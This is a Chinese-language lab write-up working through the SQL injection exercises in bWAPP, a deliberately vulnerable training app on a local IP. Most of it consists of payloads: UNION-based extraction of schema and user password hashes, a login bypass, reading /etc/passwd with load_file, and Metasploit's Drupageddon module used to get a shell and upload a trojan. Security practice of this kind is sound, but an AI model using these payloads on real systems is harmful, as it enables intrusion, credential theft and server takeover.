bwapp玩法總結之二
SQL Injection
SQL Injection (GET/Search)
1,在low級別下,首先對是否存在sql註入進行簡單的判斷,然後再加以利用,直接在輸入框輸入單引號發現如下報錯
於是立刻判斷存在sql註入,那麽是什麽類型的註入呢?SQL註入按照參數類型可以分為兩種,字符型註入和數字型註入,那麽字符型註入和數字型註入的區別在哪裏呢?當發生註入點的參數為整型數據時,則稱該註入為數字型註入,當註入點是字符串時,則稱為字符型註入,字符型註入和數字型註入最大的區別就是字符型註入需要引號進行閉合,於是第二步就是判斷該sql註入是字符型註入還是數字型註入:
輸入1 or 1=1-- 沒有查詢到結果,而輸入1‘ or 1=1-- 可以查詢到結果,於是初步判斷該註入為字符型註入,即接下來對該sql註入的利用均需要用使用引號閉合。(註意--後面有空格)
查詢到的結果如下:
選取第二個Title對該查詢語句進行判斷,直接輸入Iron點擊Search,可以正確查詢到第二行的內容,而輸入Iron‘%-- 報錯如下:
Error: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ‘%-- %‘‘ at line 1
而輸入Iron%‘-- 依舊可以正確查詢到第二行的內容,於是初步判斷查詢語句如下:
select * from 表名 where Title like ‘%".用戶輸入."%‘
接著該對字段數進行判斷了,使用語句order by
Iron%‘ order by 7-- 可以正確顯示第二行內容,而Iron%‘ order by 8-- 則報錯
Error: Unknown column ‘8‘ in ‘order clause‘
所以初步判斷字段數為7。
通過union select 進一步確定可以顯示的字段。
http://192.168.174.130/bWAPP/sqli_1.php?title=Iron%‘ UNION SELECT 1,2,3,4,5,6,7-- &action=search
發現2,3,4,5字段可以顯示。
接著對mysql用戶名主機名,當前數據庫的版本信息,當前數據庫名稱,數據庫路徑等進行查詢和顯示。
http://192.168.174.130/bWAPP/sqli_1.php?title=Iron%‘ UNION SELECT 1,user(),version(),database(),@@datadir,6,7-- &action=search
因為mysql數據庫的數據結構,所有的數據結構都存放在一張元數據表裏面,表名為information_schema,所以我們可以通過這個直接查看相應的表名和庫名。
http://192.168.174.130/bWAPP/sqli_1.php?title=Iron%‘ UNION SELECT 1,table_name,table_schema,database(),@@datadir,6,7 from information_schema.tables-- &action=search
查看結果如下:
接著查看當前數據庫下面的表名:
http://192.168.174.130/bWAPP/sqli_1.php?title=Iron%‘ UNION SELECT 1,table_name,table_schema,database(),@@datadir,6,7 from information_schema.tables where table_schema=database()-- &action=search
看到了users表,接著查看users表的字段名:
http://192.168.174.130/bWAPP/sqli_1.php?title=Iron%‘ UNION SELECT 1,column_name,table_schema,database(),@@datadir,6,7 from information_schema.columns where table_name="users"-- &action=search
在users表中看到了login,password,admin等字段,接著對這些字段的內容進行查看。
http://192.168.174.130/bWAPP/sqli_1.php?title=Iron%‘ UNION SELECT 1,login,admin,password,@@datadir,6,7 from bWAPP.users-- &action=search
成功讀取用戶名和密碼。但是密碼卻經過了md5加密,進行md5解密可以得到對應的用戶名和密碼分別為:
A.I.M. - bug
bee - bug
也可以對文件進行操作,比如讀取文件:
1%‘ union select 1,load_file(‘/etc/passwd‘),3,4,5,6,7--
像這種對用戶的輸入沒有進行任何過濾的,使用sqlmap直接跑就可以很快查出結果了。
2,在medium級別下,沒有能成功註入;sqli_check1
一般常用寬字節註入和十六進制編碼繞過。
3,在high級別下,沒有成功註入。sqli_check2
SQL Injection (GET/Select)
1,在low級別下
第一步,判斷是否存在sql註入,直接輸入單引號‘,發現返回了sql的語法報錯,那就很可能存在sql註入了
第二步,判斷是數字型註入還行字符型註入,發現將movie的值設置為1 and 1=1時,正確顯示所查詢的數據,但是將movie的值設置為1 and 1=2時,並沒有正確回顯。故初步判斷為數字型註入。
第三步,直接-1 order by 判斷字段數,判斷結果為有7個字段。判斷方法與上面的sql injection(get/search)類似,所以就不再多說了。
第四步,-1 union select 1,2,3,4,5,6,7判斷可以回顯的字段數,發現2,3,4,5字段可以正確回顯。
第五步,查詢自己想要的數據吧,方法與上面的sql injection(get/search)類似。
2,在medium級別下,僅僅使用addslashes函數對單引號,雙引號,反斜杠和NULL使用反斜杠進行了轉義,不使用單引號和雙引號就好了嘛,照樣註入:註入方法類似上述步驟,我將部分註入代碼列出,本人不在贅述。
-1 order by 7--
-1 union select 1,2,3,4,5,6,7--
-1 union select 1,schema_name,3,4,5,6,7 from information_schema.schemata limit 1,1--
-1 union select 1,group_concat(schema_name),3,4,5,6,7 from information_schema.schemata--
-1 union select 1,group_concat(table_schema),3,4,5,6,7 from information_schema.tables--
information_schema中的一些表的基本特征:
https://blog.csdn.net/ahg1001/article/details/6749628
3,在high級別下,沒有註入成功。
SQL Injection (POST/Search)
與get註入方法一樣,只是變成了post類型。
SQL Injection (POST/Select)
與get註入方法一樣,只是變成了post類型。
SQL Injection (AJAX/JSON/jQuery)
通過在後臺與服務器進行少量數據交換,AJAX 可以使網頁實現異步更新。這意味著可以在不重新加載整個網頁的情況下,對網頁的某部分進行實時更新。
首先輸入了單引號‘,但是沒有發現報錯,郁悶了一會兒,於是看了看標題,原來是通過AJAX傳送少量數據的,可能報錯並沒有被傳回前端,不就是查詢嘛,那就查詢吧。
輸入百分號%,於是全部查出。
雖然在界面上沒有明顯的報錯,但是輸入單引號時在burp suite中卻有明顯的報錯返回:
由於是查詢,所以進一步猜測sql語句為:
select * from 表名 where Title like ‘%".用戶輸入."%‘
於是構造sql語句如下: Iron%‘ or ‘%‘=‘
成功查詢:
本來是想使用查詢語句: Iron%’ or 1=1-- ,但是我發現在這裏註釋失去了作用,於是便使用了上述的查詢語句。
接著繼續查詢:Iron%‘ union select 1,2,3,4,5,6,7 and ‘%‘=’
發現2,3,4,5可以回顯。
於是可以依照sql injection(get/search)中類似的方法繼續查詢,在這裏就只列出幾條查詢的結果:
使用如下語句查詢所有的庫和對應的表:
Iron%' union select 1,database(),table_name,table_schema,5,6,7 from information_schema.tables-- and '%‘=’
查詢users表中的字段名:
Iron%' union select 1,column_name,table_name,database(),5,6,7 from information_schema.columns where table_name="users"-- and '%‘=’
剩下的不查了。
2,在medium級別下,和high級別下,並沒有查詢出結果來。
SQL Injection(CAPTCHA)
與sql injection(get/search)相同的查詢方法。
在這裏我就直接查詢用戶名和密碼了:
http://192.168.174.130/bWAPP/sqli_9.php?title=Iron%' UNION SELECT 1,login,admin,password,@@datadir,6,7 from bWAPP.users-- +&action=search
SQL Injection (Login Form/Hero)
在low級別下,使用萬能密碼直接登錄:
用戶名:volcano‘ or ‘1‘=‘1‘-- 密碼隨便輸入。
除了可以使用萬能密碼登錄之外,也可以直接在這裏進行查詢:直接列出一些查詢語句了,
admin' order by 4--
admin' union select 1,2,3,4--
admin' union select 1,version(),3,4--
admin' union select 1,group_concat(table_schema),3,4 from information_schema.tables--
admin' union select 1,group_concat(table_schema),3,group_concat(table_name) from information_schema.tables--
2,在medium級別下,沒有成功註入。各個感覺addslashes函數對字符型註入的影響蠻大的,好像這裏寬字節註入也不行。
3,在high級別下,沒有成功註入。
SQL Injection(Login Form/User)
在low級別下,也可以采用上述SQL Injection (Login Form/Hero)中的方法進行註入,本人不在贅述,直接將按照我上述步驟的部分代碼列出:
-1' order by 9
這裏應該時基於報錯的註入,自己可以試試吧。
SQL Injection(SQLite)
註入方法類型上述的sql註入,我就不再多介紹了。直接註入吧。
有六列 Iron‘ order by 6--
查看回顯Iron‘ union select 1,2,3,4,5,6--
查看版本Iron‘ union select 1,sqlite_version(),3,4,5,6--
查看數據庫Iron‘ union select 1,sqlite_version(),name,4,5,6 from sqlite_master--+
查詢列名Iron‘ union select 1,sqlite_version(),name,tbl_name,sql,6 from sqlite_master where name="users"--+
sqlite_master表和mysql數據庫中系統表information_schema不一樣的是,sqlite_master不存在類似“ column_name”的字段,但是她有一個sql字段,該字段保存了各個表的結構,包括表名,字段名和類型 。因此可以通過查詢sql字段獲取各個表的列名
‘union select 1,2,login||":"||password,4,5,6 from users--
Drupal SQL Injection (Drupageddon)
CVE-2014-3704直接使用msf進行攻擊吧,畢竟時cve
使用方法如下:
use exploit/multi/按tab鍵進行自動查找。
use exploit/multi/http/drupal_drupageddon
set targeturi /drupal/
set RHOST 192.168.174.130
set rport 80
exploit
直接拿到shell啦。
上傳木馬
成功上傳。也可以進行其他的各種操作哦。
bwapp玩法總結之二